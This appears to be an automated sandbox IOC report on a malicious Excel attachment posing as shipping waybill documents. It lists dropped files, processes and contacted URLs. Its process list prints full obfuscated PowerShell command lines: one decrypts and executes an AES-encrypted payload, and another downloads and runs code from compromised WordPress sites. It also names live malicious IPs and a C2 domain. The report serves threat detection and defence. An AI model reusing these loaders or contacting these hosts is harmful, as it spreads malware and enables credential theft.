IOC Report
waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls

loading gif

Files

File Path
Type
Category
Malicious
waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 07:25:48 2024, Security: 1
initial sample
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\createdgoodthingstogetmebacktheentirethingsinolineswitchtogilfrnfboobstounderstandhowfeelurareinthesituation_____________creanthesituationgirlfrnd[1].doc
Rich Text Format data, version 1
dropped
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\715CC54E.doc
Rich Text Format data, version 1
dropped
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{E4A5FB01-995F-4785-9031-8AAEF937D825}.tmp
Composite Document File V2 Document, Cannot read section info
dropped
malicious
C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs
ASCII text, with very long lines (2168), with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Oi8.url
MS Windows 95 Internet shortcut text (URL=<http://hq.ax/Oi8>), ASCII text, with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\hq.ax.url
MS Windows 95 Internet shortcut text (URL=<http://hq.ax/>), ASCII text, with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Roaming\createdthingstobefrankwithmeeverywhe.vBS
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Roaming\sfvnspt.dat
data
dropped
malicious
C:\Users\user\Desktop\waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls (copy)
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:03:02 2024, Security: 1
dropped
malicious
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
dropped
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Oi8[1].htm
HTML document, ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdthingstobefrankwithmeeverywhere[1].gif
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\json[1].json
JSON data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6238021F.emf
Windows Enhanced Metafile (EMF) image data version 0x10000
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B64ED16C.emf
Windows Enhanced Metafile (EMF) image data version 0x10000
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CA43EF57.emf
Windows Enhanced Metafile (EMF) image data version 0x10000
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F697BD29.emf
Windows Enhanced Metafile (EMF) image data version 0x10000
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0D34D727-E2F1-4E31-A3E3-D5300EB8E8D7}.tmp
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3E3F9CD7-D30B-4D91-9082-56066407C687}.tmp
data
dropped
C:\Users\user\AppData\Local\Temp\4ddbr1wd.iop.psm1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\4indxxoe.jdf.psm1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\5umiqvdy.drc.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\Cab425E.tmp
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
dropped
C:\Users\user\AppData\Local\Temp\Tar425F.tmp
data
modified
C:\Users\user\AppData\Local\Temp\bhv4625.tmp
Extensible storage engine DataBase, version 0x620, checksum 0x29890519, page size 32768, DirtyShutdown, Windows version 6.1
dropped
C:\Users\user\AppData\Local\Temp\lyur
Unicode text, UTF-16, little-endian text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\mub5rqwr.bt1.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\nosgifui.kdz.psm1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\tvuakwq2.jyj.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\{B2098566-2CFC-4B9E-BC7A-B1A0E86366CD}
data
dropped
C:\Users\user\AppData\Local\Temp\{D830338D-7FB4-42F3-A4F3-B63821D53AF4}
data
dropped
C:\Users\user\AppData\Local\Temp\~DF67F6440102D4275A.TMP
data
dropped
C:\Users\user\AppData\Local\Temp\~DF68D693F9F252CFD4.TMP
data
dropped
C:\Users\user\AppData\Local\Temp\~DFBD4D1EC3A255F639.TMP
data
dropped
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Generic INItialization configuration [xls]
modified
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
C:\Users\user\AppData\Roaming\Snigmyrdede.Sko
ASCII text, with very long lines (65536), with no line terminators
dropped
C:\Users\user\Desktop\1E630000
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:03:02 2024, Security: 1
dropped
C:\Users\user\Desktop\1E630000:Zone.Identifier
ASCII text, with CRLF line terminators
dropped
There are 34 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
malicious
C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
malicious
C:\Windows\SysWOW64\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdthingstobefrankwithmeeverywhe.vBS"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
malicious
C:\Windows\SysWOW64\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lyur"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nazcoqq"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yueuojavag"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yueuojavag"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
There are 5 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm
34.166.62.190
malicious
http://104.168.45.34/59/bn/createdgoodthingstogetmebacktheentirethingsinolineswitchtogilfrnfboobstounderstandhowfeelurareinthesituation_____________creanthesituationgirlfrnd.doc
104.168.45.34
malicious
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIF
104.168.45.34
malicious
iwarsut775laudrye2.duckdns.org
malicious
http://104.168.45.34/59/LMTS.txt
104.168.45.34
malicious
http://b.scorecardresearch.com/beacon.js
unknown
http://acdn.adnxs.com/ast/ast.js
unknown
http://www.imvu.comr
unknown
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
unknown
https://asociatiatraditiimaria.ro/feed/
unknown
http://ocsp.entrust.net03
unknown
https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
unknown
https://contoso.com/License
unknown
https://support.google.com/chrome/?p=plugin_flash
unknown
http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
unknown
http://www.diginotar.nl/cps/pkioverheid0
unknown
https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
unknown
http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
unknown
http://www.nirsoft.net
unknown
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=
unknown
https://deff.nelreports.net/api/report?cat=msn
unknown
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
unknown
https://gmpg.org/xfn/11
unknown
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767
unknown
http://198.46.176.133
unknown
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
unknown
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1
unknown
http://cache.btrll.com/default/Pix-1x1.gif
unknown
http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
unknown
https://www.google.com
unknown
http://geoplugin.net/json.gp/C
unknown
http://o.aolcdn.com/ads/adswrappermsni.js
unknown
https://asociatiatraditiimaria.ro
unknown
http://cdn.taboola.com/libtrc/msn-home-network/loader.js
unknown
http://www.msn.com/?ocid=iehp
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033
unknown
http://static.chartbeat.com/js/chartbeat.js
unknown
http://www.msn.com/de-de/?ocid=iehp
unknown
https://asociatiatraditiimaria.ro/os/transportment.pfm
93.113.54.56
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIFj
unknown
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
unknown
https://login.yahoo.com/config/login
unknown
http://104.168.45.34
unknown
http://www.nirsoft.net/
unknown
http://ocsp.entrust.net0D
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
unknown
http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
unknown
http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
unknown
https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
unknown
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
unknown
http://hq.ax/Oi8yX
unknown
http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
unknown
http://nuget.org/NuGet.exe
unknown
https://www.ccleaner.com/go/app_cc_pro_trialkey
unknown
http://198.46.176.133/Upload/vbs.jpeg
198.46.176.133
http://crl.entrust.net/server1.crl0
unknown
https://asociatiatraditiimaria.ro/comments/feed/
unknown
http://www.imvu.com/cK
unknown
https://contextual.media.net/8/nrrV73987.js
unknown
http://www.imvu.com
unknown
https://api.w.org/
unknown
https://contoso.com/Icon
unknown
https://contextual.media.net/
unknown
https://hq.ax/Oi8
188.114.96.3
http://hq.ax/Oi8
188.114.96.3
http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
unknown
https://asociatiatraditiimaria.ro/wp-json/
unknown
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
unknown
http://www.msn.com/
unknown
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
unknown
http://geoplugin.net/json.gp
178.237.33.50
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
unknown
http://hq.ax/
unknown
http://new.quranushaiqer.org.sa
unknown
